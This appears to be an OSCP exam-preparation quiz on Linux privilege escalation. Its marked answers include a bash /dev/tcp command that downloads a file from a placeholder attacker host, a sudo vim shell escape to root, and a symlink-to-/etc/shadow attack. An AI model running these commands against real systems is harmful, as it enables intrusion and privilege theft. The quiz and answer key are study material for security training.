OSCP Linux 4 — Questions and Answers
Question 1: What command transfers a file from an attacker's machine to a victim Linux box using only built-in tools when curl and wget are unavailable?
- scp file.sh victim@target:/tmp/
- bash -c 'cat > /tmp/file.sh < /dev/tcp/attacker/80' (Correct answer)
- nc -lvp 4444 < file.sh
- python -m http.server 80
Correct answer: bash -c 'cat > /tmp/file.sh < /dev/tcp/attacker/80'
Bash's built-in /dev/tcp pseudo-device allows file transfers by reading from a TCP connection without needing curl, wget, or netcat.
Question 2: Which file contains the list of users allowed to use the 'at' command for scheduling tasks, which could be abused for persistence?
- /etc/at.allow (Correct answer)
- /etc/cron.allow
- /etc/atd.conf
- /var/spool/at/users
Correct answer: /etc/at.allow
/etc/at.allow specifies which users may submit jobs to the at scheduler; if the file doesn't exist, /etc/at.deny controls access instead.
Question 3: A penetration tester finds that /etc/sudoers contains 'user ALL=(ALL) NOPASSWD: /usr/bin/vim'. How can this be exploited for privilege escalation?
- Edit /etc/passwd directly using vim
- Run 'sudo vim' then use ':!/bin/bash' to spawn a root shell (Correct answer)
- Create a symlink from /usr/bin/vim to /bin/bash
- Inject a cron job via vim's vimrc
Correct answer: Run 'sudo vim' then use ':!/bin/bash' to spawn a root shell
Vim's shell escape ':!/bin/bash' spawns a shell that inherits vim's permissions, so running vim via sudo produces a root shell.
Question 4: What is a Linux 'shared object injection' (LD_PRELOAD) attack?
- Injecting shellcode into a shared memory segment
- Loading a malicious shared library before the standard ones to override functions in a privileged binary (Correct answer)
- Modifying the /etc/ld.so.conf to redirect library paths
- Exploiting a buffer overflow in a shared library
Correct answer: Loading a malicious shared library before the standard ones to override functions in a privileged binary
LD_PRELOAD forces the dynamic linker to load a specified shared library first, allowing an attacker to override libc functions in any binary that respects this variable.
Question 5: Which command checks for world-writable files owned by root that could be abused to escalate privileges?
- find / -user root -perm -o=w -type f 2>/dev/null (Correct answer)
- ls -la / | grep root
- stat /root
- id && whoami
Correct answer: find / -user root -perm -o=w -type f 2>/dev/null
This find command locates files owned by root but writable by anyone (other-write permission), which may allow an attacker to modify root-owned scripts or configs.
Question 6: During an OSCP exam, you notice a service running as root that reads a config file from /tmp. What attack is this vulnerable to?
- ARP poisoning
- Symlink attack — replace the config file with a symlink to /etc/shadow (Correct answer)
- DNS rebinding
- CSRF attack
Correct answer: Symlink attack — replace the config file with a symlink to /etc/shadow
If a root process reads from an attacker-writable location like /tmp, a symlink placed there can redirect the read to any file, leaking sensitive data or causing unintended writes.
Question 7: What does 'umask 022' mean for newly created files on a Linux system?
- Files are created with permissions 022 (-----w--w-)
- Files get default permissions of 644 (rw-r--r--) for files and 755 for directories (Correct answer)
- All files are read-only
- Only root can create files
Correct answer: Files get default permissions of 644 (rw-r--r--) for files and 755 for directories
umask 022 subtracts write permissions for group and others from the default 666 for files (giving 644) and from 777 for directories (giving 755).
OSCP Linux 4
What command transfers a file from an attacker's machine to a victim Linux box using only built-in tools when curl and wget are unavailable?